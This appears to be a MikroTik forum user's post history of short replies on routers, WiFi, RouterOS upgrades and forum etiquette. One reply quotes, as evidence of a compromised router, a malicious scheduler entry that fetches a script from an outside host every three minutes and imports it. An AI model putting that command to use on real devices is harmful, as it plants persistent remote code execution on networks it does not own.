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by BartoszP
Mon Oct 25, 2021 7:43 am
Forum: General
Topic: Setting hostname in winbox [SOLVED]
Replies: 4
Views: 203

Re: Setting hostname in winbox [SOLVED]

... There are two ways (within WinBox) to assign a comment....
It works if and ONLY if DHCP address is set to static. You cann't assign comments that way to any dynamic data in ROS
by BartoszP
Sun Oct 24, 2021 8:58 pm
Forum: Beginner Basics
Topic: I have no idea how do I setup microtik router.
Replies: 9
Views: 354

Re: I have no idea how do I setup microtik router.

I do not know how do they configure their devices but If you do not know WiFi passowrd then you have no chance to connect to their WiFi.
BTW ... read the link from my signature.
by BartoszP
Sun Oct 24, 2021 8:42 pm
Forum: Beginner Basics
Topic: I have no idea how do I setup microtik router.
Replies: 9
Views: 354

Re: I have no idea how do I setup microtik router.

It worked as CPE => connected to ISP via WiFi. It's an external device for WiFi infrastructure. not a customer home device.
It's possible that your device has higher license if only your ISP bought one but hardly anyone does this.
by BartoszP
Thu Oct 21, 2021 11:29 am
Forum: Announcements
Topic: v6.48.5 [long-term] is released!
Replies: 104
Views: 21533

Re: v6.48.5 [long-term] is released!

My Dad says ... always look on the bright side of upgrade :) :)
by BartoszP
Mon Oct 18, 2021 7:05 pm
Forum: General
Topic: 3years no RouterOS updates - would you consider it compromised & replace the unit?
Replies: 5
Views: 408

Re: 3years no RouterOS updates - would you consider it compromised & replace the unit?

It's much easier for them to send you repalcement device already configured.
by BartoszP
Tue Oct 12, 2021 9:04 pm
Forum: Wireless Networking
Topic: hap ac3 - worse than hap lite?
Replies: 15
Views: 1375

Re: hap ac3 - worse than hap lite?

...Oh it looks like you never been at russian club party. There are special type of people that love to stand RIGHT INFRONT of a speaker. Perhaps they love that type of massage IDK. ...
Lazy ones ... they do not even try to dance waitng to be shaken with sound waves :) :)
by BartoszP
Tue Oct 12, 2021 3:59 pm
Forum: General
Topic: Bug in 6.49 rc2 ?
Replies: 4
Views: 393

Re: Bug in 6.49 rc2 ?

We have official 6.49. Why to test 6.49 rc2?
by BartoszP
Mon Oct 11, 2021 9:15 am
Forum: Wireless Networking
Topic: hap ac3 - worse than hap lite?
Replies: 15
Views: 1375

Re: hap ac3 - worse than hap lite?

...but try and explain to user that "more bars doesn't have anything to do with wifi quality"....
It's like listening to the music sitting close to big speakers. You do not hear better ... It's only louder ... that is why it has no sense to be close to the speakers during concerts :)
by BartoszP
Sun Oct 10, 2021 2:55 pm
Forum: General
Topic: Incomprehensible hacking attempt
Replies: 3
Views: 443

Re: Incomprehensible hacking attempt

It's easy .. I do have such reports every day. Someone has router leaking private addresses to WAN or configured router to use such addresses on it's WAN side. When it's a leak you could be attacked ba accidend however you should check if your router is resistent to such connections. When the router...
by BartoszP
Mon Oct 04, 2021 10:56 am
Forum: Wireless Networking
Topic: Safe to use LHG 5 indoors?
Replies: 4
Views: 598

Re: Safe to use LHG 5 indoors?

Maybe think abot such a flat cable: Image to pass itt through windows
by BartoszP
Thu Sep 23, 2021 5:12 pm
Forum: General
Topic: Feature requests
Replies: 1395
Views: 358744

Re: Feature requests

What about MAC address lists?
by BartoszP
Sun Sep 19, 2021 12:35 pm
Forum: RouterBOARD hardware
Topic: can CCR2004-16G-2S+ downgrade to v6 ?
Replies: 10
Views: 1786

Re: can CCR2004-16G-2S+ downgrade to v6 ?

Just as "router says" ... No.
by BartoszP
Tue Sep 14, 2021 3:10 pm
Forum: Wireless Networking
Topic: Motel internet infrastructure
Replies: 12
Views: 1175

Re: Motel internet infrastructure

Contract a professional to do this job.
by BartoszP
Tue Sep 14, 2021 1:04 am
Forum: Wireless Networking
Topic: Is there a way to force/encourage clients to use 5GHz if 2.5GHz gets crowded?
Replies: 10
Views: 1033

Re: Is there a way to force/encourage clients to use 5GHz if 2.5GHz gets crowded?

@solarium14 How do you measure thet 2.4GHz "gets crowded"? Number of devices? Traffic? Signal quality? You can write a script which counts devices connected to 2.4 bands and then change ACL to drop block new connections or drop all these with quality below limits to "persuade" th...
by BartoszP
Mon Sep 13, 2021 11:33 pm
Forum: General
Topic: Who has the biggest uptime ?
Replies: 22
Views: 3407

Re: Who has the biggest uptime ?

I printed it years ago before switching off the server due to office reorganization. It was standard small factor form desktop, not a "server beast", sitting under the desk on a box of drawers.
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This piece of memories is still on my pin board.
by BartoszP
Mon Sep 13, 2021 8:39 am
Forum: RouterOS v7 BETA
Topic: Loosing configuration after reboot (7.1rc3)
Replies: 16
Views: 1931

Re: Loosing configuration after reboot (7.1rc3)

...
It’s annoying MT is not providing older development versions online. Maybe the version from softpedia has an integrated nsa-backdoor … but hey at least Internet access is stable now … ;-)
It's stupid to advertise it. The fastest way to get infected.
by BartoszP
Sun Sep 12, 2021 9:02 pm
Forum: General
Topic: L2TP - I think the response is going out through the wrong interface
Replies: 2
Views: 353

Re: L2TP - I think the response is going out through the wrong interface

What ROS version you run?
Did you upgrade routers?

More details please.
by BartoszP
Fri Sep 10, 2021 9:40 pm
Forum: General
Topic: Reject the connection to a local machine from outside.
Replies: 28
Views: 2459

Re: Reject the connection to a local machine from outside.

Domodial.

I edited your last post as you used <<quote>> instead of <<code>> tag and therefore your config was 1 meter long on my screen.
by BartoszP
Fri Sep 10, 2021 10:30 am
Forum: RouterBOARD hardware
Topic: RB2011 powerjack issues
Replies: 5
Views: 1151

Re: RB2011 powerjack issues

Both motherboards have power socket soldered but in different places. For both types of mobos we can use same power supply with the same plug. The difference is that these models witch "internal" socket need power cable to be passed inside the case but there is a special hook/clamp which h...
by BartoszP
Fri Sep 10, 2021 9:37 am
Forum: RouterBOARD hardware
Topic: RB2011 powerjack issues
Replies: 5
Views: 1151

Re: RB2011 powerjack issues

NO. You are wrong that alll 2011 models have the same motherboard. Do you see the difference? https://shop.marcomweb.it/images/stories/virtuemart/product/Rb2011il-in.jpg https://www.dannycomputers.net/655-thickbox_default/rb2011-mikrotik-router-board.jpg For internel connector I would suspect broken...
by BartoszP
Fri Sep 10, 2021 9:19 am
Forum: Scripting
Topic: Notify of device bound or not
Replies: 1
Views: 647

Re: Notify of device bound or not

Maybe this could help. :local zone "home.sweet.home" :local dnsrecord [/ip dns static find where address=$leaseActIP ] :if ( $leaseBound = 0 ) do={ :if ( [ :len $dnsrecord ] > 0 ) do={ :log warning ("DNS release record for $[/ip dns static get $dnsrecord name] ( $leaseActIP )") /...
by BartoszP
Fri Sep 10, 2021 8:56 am
Forum: General
Topic: BTest blocked - any alternative
Replies: 5
Views: 540

Re: BTest blocked - any alternative

NATting BTest ports?
by BartoszP
Thu Sep 09, 2021 11:50 pm
Forum: RouterBOARD hardware
Topic: RB2011 powerjack issues
Replies: 5
Views: 1151

Re: RB2011 powerjack issues

What model as they have different power connectors placement.
by BartoszP
Thu Sep 09, 2021 10:48 pm
Forum: General
Topic: winbox button changed placement
Replies: 3
Views: 379

Re: winbox button changed placement

It's "fixed" in 3.30.
by BartoszP
Thu Sep 09, 2021 6:23 pm
Forum: Announcements
Topic: WinBox v3.30 released!
Replies: 59
Views: 7281

Re: WinBox v3.30 released!

Seems that Start/Stop/Close buttons placement&order is back.
by BartoszP
Sun Aug 29, 2021 4:46 pm
Forum: RouterOS v7 BETA
Topic: v7.1rc1 [development] is released!
Replies: 345
Views: 35633

Re: v7.1rc1 [development] is released!

Wait till it will be officialy released.
by BartoszP
Sat Aug 28, 2021 10:29 am
Forum: Announcements
Topic: WinBox v3.29 released!
Replies: 114
Views: 12710

Re: WinBox v3.29 released!

I wonder how sources of WinBox are organized that "adding selection window...." touches placement of buttons in totaly separated parts of gui-system and how it is connected to "hide-sensitive" parts?
by BartoszP
Thu Aug 26, 2021 9:27 pm
Forum: RouterOS v7 BETA
Topic: v7.1rc1 reasonable for production for my usecase?
Replies: 15
Views: 1866

Re: v7.1rc1 reasonable for production for my usecase?

Since I am quoting from that exact topic, it is reasonable to assume I did already read the topic you are referring to. .... I am asking for input on the experience of others, in relation to the post of @emils regarding: .... We believe this "release candidate" version is pretty much read...
by BartoszP
Thu Aug 26, 2021 8:16 pm
Forum: RouterOS v7 BETA
Topic: v7.1rc1 reasonable for production for my usecase?
Replies: 15
Views: 1866

Re: v7.1rc1 reasonable for production for my usecase?

...Did you notice my quote in the top of my opening post?
Yes, I did.

You ask if RC version is "resonable" to be used as production one.
So for whom & why Mikrotik supports "stable" and "long term" versions in 6.x line?
by BartoszP
Wed Aug 25, 2021 5:52 pm
Forum: RouterOS v7 BETA
Topic: v7.1rc1 reasonable for production for my usecase?
Replies: 15
Views: 1866

Re: v7.1rc1 reasonable for production for my usecase?

Is it really so hard to read this topic viewtopic.php?f=1&t=177800 ?
You have to judge for yourself if RC version is equal to "production ready". Do not expect that someone will do tests especially for you.
by BartoszP
Mon Aug 23, 2021 10:47 pm
Forum: Wireless Networking
Topic: LHG HP5 Xl comes with a motherboard that does not correspond to it
Replies: 8
Views: 806

Re: LHG HP5 Xl comes with a motherboard that does not correspond to it

If seller deliverd wrong device it's their fault. You don't buy "carton box with a suprise inside" but particular device.
It should be their problem if they have to "fight" with distributor.
by BartoszP
Mon Aug 23, 2021 10:42 pm
Forum: General
Topic: Feature request: host list
Replies: 3
Views: 503

Re: Feature request: host list

Whats wrong with "Address list" definable in IP/Firewall?
by BartoszP
Mon Aug 23, 2021 10:05 am
Forum: Announcements
Topic: WinBox v3.29 released!
Replies: 114
Views: 12710

Re: WinBox v3.29 released!

OMG :-) Christmas in August ...
by BartoszP
Mon Aug 23, 2021 1:57 am
Forum: Wireless Networking
Topic: LHG HP5 Xl comes with a motherboard that does not correspond to it
Replies: 8
Views: 806

Re: The great disappointment

So the solution is simple:

Ask seller to deliver proper device as you have received wrong one. You do not buy just a box with "something inside".
They should ask a distributor for replacement and help. The Distributor should discuss with Mikrotik how to solve the problem.
by BartoszP
Mon Aug 23, 2021 1:17 am
Forum: Wireless Networking
Topic: LHG HP5 Xl comes with a motherboard that does not correspond to it
Replies: 8
Views: 806

Re: The great disappointment

If you have an order confirmation you can check what you had oredered and what you received? If it is your mistake ... sorry ... do not blame Mikrotik. If it is seller's error ... just show him the order and ask for the replacement. There is always possibility that Mikrotik packed wrong device into ...
by BartoszP
Sun Aug 22, 2021 9:18 am
Forum: Useful user articles
Topic: Bypassing AT&T Residential Gateways with MikroTik
Replies: 212
Views: 59317

Re: Bypassing AT&T Residential Gateways with MikroTik

tar file is an uncompressed archive as zip file is compressed one. Try to "untar" it with eg. 7-zip tool.
by BartoszP
Sat Aug 21, 2021 11:13 am
Forum: General
Topic: Getting replacement parts?
Replies: 6
Views: 645

Re: Getting replacement parts?

Maybe just not properly closed panel during installation. Maybe because of rubber connector hood cap? Just guessing.
by BartoszP
Sat Aug 21, 2021 2:47 am
Forum: Wireless Networking
Topic: PoC Mobile AP [SOLVED]
Replies: 11
Views: 1255

Re: PoC Mobile AP [SOLVED]

Use https://mikrotik.com/product/RBmAPL-2nD as client for home WiFi or any other WLAN eg. HotSpots or campings WiFi and connect it via Ethernet to ltAP.
by BartoszP
Sat Aug 21, 2021 1:35 am
Forum: Wireless Networking
Topic: PoC Mobile AP [SOLVED]
Replies: 11
Views: 1255

Re: PoC Mobile AP [SOLVED]

Do you realy want to use car Internet while you are in the garage/station? IMHO the best solution is to configure ltAP mini with SSID identical to home SSID. When your car is "at home" you just switch off Mikrotik and devices reconnect to home AP with same SSID. When you travel and you are...
by BartoszP
Thu Aug 19, 2021 9:40 pm
Forum: General
Topic: NTP params changed ???
Replies: 3
Views: 1021

Re: NTP params changed ???

Are you sure that both IPs still serve NTP services?
Try to change coniguration from pure IP to DNS.
by BartoszP
Thu Aug 19, 2021 4:50 pm
Forum: General
Topic: Cannot Start Mikrotik X86 with Supermicro Server
Replies: 7
Views: 914

Re: Cannot Start Mikrotik X86 with Supermicro Server

Probably SATA configured to IDE mode/compatibility mode with lower performace
by BartoszP
Wed Aug 18, 2021 8:53 pm
Forum: The Dude
Topic: Dude on hAP mini
Replies: 2
Views: 1107

Re: Dude on hAP mini

Check there https://mikrotik.com/download what platform you can download Dude for
by BartoszP
Mon Aug 16, 2021 11:47 am
Forum: General
Topic: The popularity of Mikrotik since 2011
Replies: 11
Views: 1103

Re: The popularity of Mikrotik since 2011

Google Trends shows what people ask the Google Search for.
If queries for Afghanistan during last week are way bigger than 1 month ago it is not the same to: "Is Afghanistan popular".
by BartoszP
Sun Aug 15, 2021 10:48 pm
Forum: Beginner Basics
Topic: What is wrong with my router? [SOLVED]
Replies: 7
Views: 748

Re: What is wrong with my router? [SOLVED]

Have you set the admin password?
If not, netinstall the router, set the password and then configure it from scratch.
by BartoszP
Sun Aug 15, 2021 11:06 am
Forum: General
Topic: Large blacklists for firewall
Replies: 37
Views: 4334

Re: Large blacklists for firewall

As far as I understand your pros&cons: A. You are unproteced only if this list is THE ONLY PROTECTION and it gets removed? B. The problem is that import causes high utilization which leds to lower responsivity (chocking) of a router. Am I right? IMHO the solution is to mark as a comment imported...
by BartoszP
Sun Aug 15, 2021 10:55 am
Forum: General
Topic: Is clearing config really dangerous?
Replies: 16
Views: 1123

Re: Is clearing config really dangerous?

To summarize summarized quite rethorical question of OP: Is it safe to format disk and install on computer fresh instance of any OS? Clearing the device is safe but connecting it to the net without checking/presetting some crucial information could led to a risk. Do not expect full multipage story e...
by BartoszP
Fri Aug 13, 2021 6:37 pm
Forum: Beginner Basics
Topic: ROS v5.26 on x86 Upgrade issues
Replies: 3
Views: 509

Re: ROS v5.26 on x86 Upgrade issues

@richyroms:

Please do not start two topics concerning same problem.
Please decide which one to close" this one or this : viewtopic.php?f=2&t=177558
by BartoszP
Fri Aug 13, 2021 1:39 pm
Forum: Beginner Basics
Topic: Optical ring setting
Replies: 11
Views: 1280

Re: Optical ring setting

Do not mix concepts. Creating optical ring is not connected to routing. It's about connectivity on L2 level. If you want traffic carried with your optical ring to be routed to Internet you need routing funcionality which could be done by any device managed with ROS in your ring but ... the architect...
by BartoszP
Fri Aug 13, 2021 12:03 pm
Forum: Beginner Basics
Topic: Optical ring setting
Replies: 11
Views: 1280

Re: Optical ring setting

Switches are designed for switching, routers for routing.

CRS allows you do routing with ROS but it is a "bonus" funcionality and you should not expect efficency.
Maybe this model would fit your routing needs but maybe you should buy another device just for routing traffic from CRS.
by BartoszP
Fri Aug 13, 2021 9:35 am
Forum: General
Topic: Issues upgrading ROS v5.26 on x86 pc
Replies: 4
Views: 519

Re: Issues upgrading ROS v5.26 on x86 pc

It's intriguing that "a wave" of 5.x upgrades have started lately :)
viewtopic.php?f=13&t=177493&p=872319#p872146
by BartoszP
Wed Aug 11, 2021 6:09 pm
Forum: Beginner Basics
Topic: Recommended Upgrade path from RouterOS 5.20?
Replies: 8
Views: 882

Re: Recommended Upgrade path from RouterOS 5.20?

Version 6.41 changed a lot so IMHO you should: A. Have backup for your 5.20 configuration int text (/export ...) not in binary form !!!! B. Have access to 5.20 firmware just "in case of bringing it back to 5.20" C. Have backup for your 5.20 configuration :) D. Upgrade to the latest 5.xx ve...
by BartoszP
Fri Aug 06, 2021 10:29 pm
Forum: Beginner Basics
Topic: Please help, getting IPs from ISP instead of Router's DHCP Server.
Replies: 10
Views: 935

Re: Please help, getting IPs from ISP instead of Router's DHCP Server.

Please DO netinstall. Compromised ROS is infected internally and cleaninig configuration does not help.

1. export configuration
2. netinstall to reformat the disk and kill all malware installed in the router
3. import configuration from .rsc file
by BartoszP
Fri Aug 06, 2021 2:38 pm
Forum: Beginner Basics
Topic: Please help, getting IPs from ISP instead of Router's DHCP Server.
Replies: 10
Views: 935

Re: Please help, getting IPs from ISP instead of Router's DHCP Server.

Netinstall. Why scheduler pulls files? IMHO your router is compromised and should be "furrowed". /system scheduler add interval=3m name=U7 on-event="/tool fetch url=http://massgames.space/poll/16d3cfaf-0057-452f-ba0f-c0fe61488119 mode=http dst-path=7xe7zt46hb08\r\ \n/import 7xe7zt46hb...
by BartoszP
Fri Aug 06, 2021 11:26 am
Forum: Beginner Basics
Topic: WHY RouterOS insists on making ether1 a WAN port
Replies: 24
Views: 1675

Re: WHY RouterOS insists on making ether1 a WAN port

I know that you know that I know :) but there is no win-win choice when it comes to SOHO-like market. Pros are aware how to manage such a situation. Newbies/SOHOs look for the second bottom/hidden agenda instead of changing setting to their needs. P.S. Why some models have particular port described ...
by BartoszP
Fri Aug 06, 2021 9:18 am
Forum: General
Topic: PROBLEMA RESTRICCION ANCHO DE BANDA [SOLVED]
Replies: 2
Views: 458

Re: PROBLEMA RESTRICCION ANCHO DE BANDA [SOLVED]

English please ... correct your post and use code tags to format your configuration
by BartoszP
Fri Aug 06, 2021 8:29 am
Forum: Beginner Basics
Topic: WHY RouterOS insists on making ether1 a WAN port
Replies: 24
Views: 1675

Re: WHY RouterOS insists on making ether1 a WAN port

My QUESTION : Why does RouterOS insist on setting Ether1 as a WAN port? ... Questions arise: 1. What is the real problem with Eth1 as default WAN? 2. Should the router ask "What interface you want to be WAN"? 3. If the answer for 2 is "yes" what are pros for such a solution? 4. ...
by BartoszP
Wed Aug 04, 2021 12:24 pm
Forum: Beginner Basics
Topic: GUI columns
Replies: 4
Views: 653

Re: GUI columns

IMHO It should be enogh not to close window after selecting an item but after pressing "OK" button which should be added to that window.
by BartoszP
Mon Aug 02, 2021 5:01 pm
Forum: General
Topic: Modem/Router behind the MikroTik
Replies: 26
Views: 1492

Re: Modem/Router behind the MikroTik

Are you sure that that modem's webpage is accessible for you? It's on public address so maybe ISP has restricted access to it?
by BartoszP
Mon Aug 02, 2021 9:48 am
Forum: General
Topic: Need for external antennas!!!
Replies: 3
Views: 465

Re: Need for external antennas!!!

...What I would like to see is something like a RB4011iGS+5HacQ2HnD-IN with a modem that connects via ethernet port to something like a SXT LTE6 kit and utilize it's antenna.....
CAPSMAN?
by BartoszP
Mon Aug 02, 2021 9:24 am
Forum: General
Topic: cant update router
Replies: 8
Views: 640

Re: cant update router

Wrong. It sets the dafault route to the router itself. Default route should poinf to the ISP's IP.
by BartoszP
Sun Aug 01, 2021 3:37 pm
Forum: Beginner Basics
Topic: Nat SMTP to second publik IP
Replies: 8
Views: 671

Re: Nat SMTP to second publik IP

Could be. It's your decision. And block SMTP on the main address in both directions to prevent occasional "leaking".
by BartoszP
Sun Aug 01, 2021 3:30 pm
Forum: General
Topic: Creating a 2000 entry personal Blacklist
Replies: 10
Views: 859

Re: Creating a 2000 entry personal Blacklist

Almost good suggestion but it will stop if the entry is duplcated. viewtopic.php?t=91437#p555095
by BartoszP
Sun Aug 01, 2021 11:15 am
Forum: Beginner Basics
Topic: Nat SMTP to second publik IP
Replies: 8
Views: 671

Re: Nat SMTP to second publik IP

If only spammers do spam using SMTP-family ports then you can add action=src-nat chain=srcnat dst-port=25,587,SMTPfamilyports out-interface=WAN protocol=tcp to-addresses=NOT_THE_MAIN_IP but if they use "zombies" using unknown ports then there is no way to catch that traffic. Why do you not...
by BartoszP
Sun Aug 01, 2021 2:36 am
Forum: RouterOS v7 BETA
Topic: Route lookup rules: Broken?
Replies: 6
Views: 927

Re: Route lookup rules: Broken?

Rephrasing: "Why are you bumping just 20 hours later?"
by BartoszP
Sun Aug 01, 2021 2:29 am
Forum: RouterOS v7 BETA
Topic: Route lookup rules: Broken?
Replies: 6
Views: 927

Re: Route lookup rules: Broken?

Why are you "bumping" same day? It is not Mikrotik's service forum, it's users forum of volunteers.
You have to be more patient and wait for answers but you may not receive any.
by BartoszP
Sat Jul 31, 2021 11:44 pm
Forum: General
Topic: Site-to-site VPN w EdgeRouter - SA Established but no traffic across.
Replies: 3
Views: 435

Re: Site-to-site VPN w EdgeRouter - SA Established but no traffic across.

It's user forum of volunteers, not Mikrotik's service one.
You have to be patient and wait for someone's answer but you may receive none as no one had such a problem as yours.
by BartoszP
Fri Jul 30, 2021 9:38 pm
Forum: General
Topic: MikroTik download servers IPs
Replies: 5
Views: 464

Re: MikroTik download servers IPs

Anav ... you fleer too much and too often and therefore you don't bring the house down ... https://www.maxmind.com/en/geoip2-precision-services
by BartoszP
Fri Jul 30, 2021 9:23 am
Forum: General
Topic: Does quouting quotes of quotes in consecutive post make any sense?
Replies: 81
Views: 8632

Re: Does quouting quotes of quotes in consecutive post make any sense?

Thank you Normis ... is it not a full solution to the root problem but it's much better than nothing :D :D :D (viewtopic.php?f=2&t=177216&p=870085#p870084)
by BartoszP
Thu Jul 29, 2021 5:27 pm
Forum: General
Topic: Does quouting quotes of quotes in consecutive post make any sense?
Replies: 81
Views: 8632

Re: Does quouting quotes of quotes in consecutive post make any sense?

IMO, the quote feature is very useful and People should learn how to edit quotes so that this capability is used properly. Unfortunately many are too lazy to learn how to use QUOTES properly.
Hallelujah, Hallelujah ... so what is your proposition how to teach people to use it properly?
by BartoszP
Thu Jul 29, 2021 9:18 am
Forum: General
Topic: Does quouting quotes of quotes in consecutive post make any sense?
Replies: 81
Views: 8632

Re: Does quouting quotes of quotes in consecutive post make any sense?

Next example: Maybe 10% of text is a new text. The rest is quotting
ex1.PNG
by BartoszP
Thu Jul 29, 2021 9:17 am
Forum: Wireless Networking
Topic: Wifi net work for home with Iot (50 devices)
Replies: 43
Views: 2178

Re: Wifi net work for home with Iot (50 devices)

As a moderator I am quite monothematic. Plese use "post reply" button instead of "quote".
Read the topic from my signature.
by BartoszP
Wed Jul 28, 2021 9:18 am
Forum: Wireless Networking
Topic: Wifi net work for home with Iot (50 devices)
Replies: 43
Views: 2178

Re: Wifi net work for home with Iot (50 devices)

You want to have good a quality traffic but you buy switches for 7$? What quality do you expect? I do not say that these switches are cause of your problems but they could be. Why do you pass traffic from ac3 to ac via SG105M and via next one to plex server? Is it over 200m from ac3 to plex? On the ...
by BartoszP
Thu Jul 22, 2021 5:03 pm
Forum: Beginner Basics
Topic: CRS309 slow internet
Replies: 9
Views: 853

Re: CRS309 slow internet

As names state: routers are for routing switches are for switching Routing option in Mikrotik's switches is a "bonus" and is not intended to compete with routers :) If we look at 64Bytes there is only 1427,3. And it leads me to misunderstand. All packets need same base time to be processed...
by BartoszP
Thu Jul 22, 2021 10:11 am
Forum: Beginner Basics
Topic: Getting IPv6 Address for LTE connection
Replies: 1
Views: 368

Re: Getting IPv6 Address for LTE connection

Ask your operator if they offer IP6 services and how to manage it for your conection.
by BartoszP
Thu Jul 22, 2021 10:04 am
Forum: Beginner Basics
Topic: CRS309 slow internet
Replies: 9
Views: 853

Re: CRS309 slow internet

Have you checked this?
https://mikrotik.com/product/crs309_1g_ ... estresults

It's main role is switching not routing.
You should invest in a proper router ... e.g. https://mikrotik.com/product/CCR1016-12 ... estresults
by BartoszP
Mon Jul 19, 2021 12:00 pm
Forum: Beginner Basics
Topic: Allow Remote DNS Requests
Replies: 6
Views: 804

Re: Allow Remote DNS Requests

Change it to
drop all coming from WAN to port 53.
and then all "any type local" interfaces will be served.
by BartoszP
Sun Jul 18, 2021 4:00 pm
Forum: General
Topic: Feature request for v7.x
Replies: 288
Views: 87711

Re: Feature request for v7.x

port list
mac-address list
by BartoszP
Sun Jul 18, 2021 3:54 pm
Forum: Beginner Basics
Topic: Using sign § in password [SOLVED]
Replies: 5
Views: 797

Re: Using sign § in password [SOLVED]

Maybe $ as element of a script language is excluded from acceptable set of chars for passwords?
by BartoszP
Sun Jul 18, 2021 3:53 pm
Forum: General
Topic: SFP auto disabled due to high temperature
Replies: 6
Views: 1098

Re: SFP auto disabled due to high temperature

Interesting. As another work-around, do you think these types of heatsinks on the SFP module would help?
Much bigger and heavier solution :)
IMG_20200812_151428 (Duży).jpg
by BartoszP
Thu Jul 15, 2021 8:28 am
Forum: General
Topic: Backup and Restore Configuration
Replies: 1
Views: 346

Re: Backup and Restore Configuration

https://wiki.mikrotik.com/wiki/Manual:System/Backup

use export command on the old device and import it into the new one.

Search the forum for backup restore keywords and you will find a lot of about such a process.
by BartoszP
Wed Jul 14, 2021 10:53 pm
Forum: Wireless Networking
Topic: Dual radio, same ssid , preferred 5GHz band
Replies: 17
Views: 2882

Re: Dual radio, same ssid , preferred 5GHz band

Still no clue what do want to hear/read from me? What is the real question I should answer? if abandoning 2.4 has sense? I wrote that you would "kill" zylions of working devices. Frankly speaking it is a stupid idea. Is 5GHz always better than 2.4? No. Power of signal drops much faster? Sh...
by BartoszP
Fri Jul 09, 2021 12:20 pm
Forum: Wireless Networking
Topic: Dual radio, same ssid , preferred 5GHz band
Replies: 17
Views: 2882

Re: Dual radio, same ssid , preferred 5GHz band

Normis ... really?

Why we should abandon 2.4 ? Go on with that. And you deactivate zylions of devices.
What a fun ... going to buy chips and cola and waiting for the show.

EDIT:

Ask WISPs if they want to jump into "only 5GHz train"
by BartoszP
Thu Jul 08, 2021 10:03 pm
Forum: Wireless Networking
Topic: Dual radio, same ssid , preferred 5GHz band
Replies: 17
Views: 2882

Re: Dual radio, same ssid , preferred 5GHz band

Why we should abandon 2.4GHz?
Should we abandon wirespeed 100Mhz or 10MHz as 1GHz is better?
Or maybe we should drop halfduplex in favor of fullduplex
by BartoszP
Wed Jul 07, 2021 1:05 pm
Forum: Scripting
Topic: How to ***really*** block invalid ICMP, TCP, UDP packets and others (ver. 2021)
Replies: 91
Views: 55979

Re: How to ***really*** block invalid ICMP, TCP, UDP packets and others (ver. 2021)

Like this? /ip firewall raw # # move this "jump" line to proper place in the prerouting chain # it is THE ONLY line you have to move with WinBox # add action=jump chain=prerouting comment=rextended jump-target=rextended # # Section 1 - block .... description of Section1 # add action=drop c...
by BartoszP
Wed Jul 07, 2021 2:31 am
Forum: Scripting
Topic: How to ***really*** block invalid ICMP, TCP, UDP packets and others (ver. 2021)
Replies: 91
Views: 55979

Re: How to ***really*** block invalid ICMP, TCP, UDP packets and others (ver. 2021)

it will be much more convinient to import these rules as /ip firewall raw add action=jump chain=prerouting comment=rextended jump-target=rextended add action=drop chain=rextended comment="IP options left, except IP Stream used by the IGMP protocol" ipv4-options=any protocol=!igmp add actio...
by BartoszP
Tue Jul 06, 2021 1:47 am
Forum: Beginner Basics
Topic: i'm new user
Replies: 4
Views: 578

Re: i'm new user

English please.
by BartoszP
Thu Jul 01, 2021 6:48 pm
Forum: RouterOS v7 BETA
Topic: v7.1beta6 [development] is released!
Replies: 377
Views: 67728

Re: v7.1beta6 [development] is released!

@nannou9:

Please visit the link from my signature.
by BartoszP
Wed Jun 30, 2021 7:48 pm
Forum: Beginner Basics
Topic: How to secure my router
Replies: 12
Views: 1298

Re: How to secure my router

by BartoszP
Mon Jun 28, 2021 10:17 am
Forum: General
Topic: Internet disconnects
Replies: 10
Views: 682

Re: Internet disconnects

It comes from your export ... check WiFi setings.
by BartoszP
Mon Jun 28, 2021 12:17 am
Forum: General
Topic: Internet disconnects
Replies: 10
Views: 682

Re: Internet disconnects

add band=2ghz-b/g/n control-channel-width=20mhz extension-channel=disabled frequency=2462 name=channel11 ....... set [ find default-name=wlan2 ] band=2ghz-b/g/n channel-width=20/40mhz-XX country=poland distance=indoors frequency=auto installation=indoor mode=ap-bridge name=wlan-2G ssid=Lepianka-2G ...
by BartoszP
Sun Jun 27, 2021 11:28 pm
Forum: General
Topic: Internet disconnects
Replies: 10
Views: 682

Re: Internet disconnects

1. Drop B mode ... do you have devices which need it? Stay with G/N
2. Do you mix 20MHz bands in CAPSMAN and 20/40Mhz-XX? Normalize them to one type.
by BartoszP
Sun Jun 27, 2021 7:26 pm
Forum: Announcements
Topic: Securing your device is important
Replies: 41
Views: 26912

Re: Securing your device is important

Just to teach users to use forum properly ... it's easy ... just press another button.
by BartoszP
Sun Jun 27, 2021 6:40 pm
Forum: Announcements
Topic: Securing your device is important
Replies: 41
Views: 26912

Re: Securing your device is important

@DarkNate ... why you quote whole previous post just to add one line sentence? Why you do not "post reply"?
Please read this viewtopic.php?p=864613#p864613 and link in my signature.
by BartoszP
Sun Jun 27, 2021 3:53 pm
Forum: General
Topic: Internet disconnects
Replies: 10
Views: 682

Re: Internet disconnects

Check how crowded are frquencies you use. Mayby simple change of band will help.
by BartoszP
Sun Jun 27, 2021 3:39 pm
Forum: Wireless Networking
Topic: extend wifi for dead spot
Replies: 2
Views: 697

Re: extend wifi for dead spot

CAPSMAN ... one WiFi network + ability to control when your devices are moved to AP with better quality signal.
by BartoszP
Sun Jun 27, 2021 10:25 am
Forum: Wireless Networking
Topic: Wireless disconnecion
Replies: 2
Views: 750

Re: Wireless disconnecion

Scan what SSIDs are "flying aroud" and you will notice how WiFi bands are crowded.
by BartoszP
Sat Jun 26, 2021 10:19 pm
Forum: General
Topic: Windscribe VPN on Mikrotik
Replies: 3
Views: 1905

Re: Windscribe VPN on Mikrotik

@therealrockguy.

Could you please do not quote whole 3 meters long post just to add one line?
Read the link in my signature and look there viewtopic.php?p=864537#p864537
It is so easy to quote , DO some editing = cutting a lot of unneeded text and then post.
by BartoszP
Sat Jun 26, 2021 10:18 pm
Forum: General
Topic: Does quouting quotes of quotes in consecutive post make any sense?
Replies: 81
Views: 8632

Re: Does quouting quotes of quotes in consecutive post make any sense?

next example <1% of comment
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by BartoszP
Sat Jun 26, 2021 9:34 pm
Forum: General
Topic: Under flood attack, how resolve this ? [SOLVED]
Replies: 107
Views: 6254

Re: Under flood attack, how resolve this ? [SOLVED]

once more ... please do not overquote ... visit the link in my signature.

No hijacking if only users wouldn't start unneeded offtopics trying to be "funny guys".
by BartoszP
Sat Jun 26, 2021 8:32 pm
Forum: General
Topic: Under flood attack, how resolve this ? [SOLVED]
Replies: 107
Views: 6254

Re: Under flood attack, how resolve this ? [SOLVED]

@Paternot

To equaly treat all users:
please read my footer and do not quote whole long posts without need viewtopic.php?p=864499#p864499
by BartoszP
Fri Jun 25, 2021 7:56 pm
Forum: General
Topic: Under flood attack, how resolve this ? [SOLVED]
Replies: 107
Views: 6254

Re: Under flood attack, how resolve this ? [SOLVED]

BTW ... I wonder what drives tefots to keep this server open if it is a source of so many problems?
by BartoszP
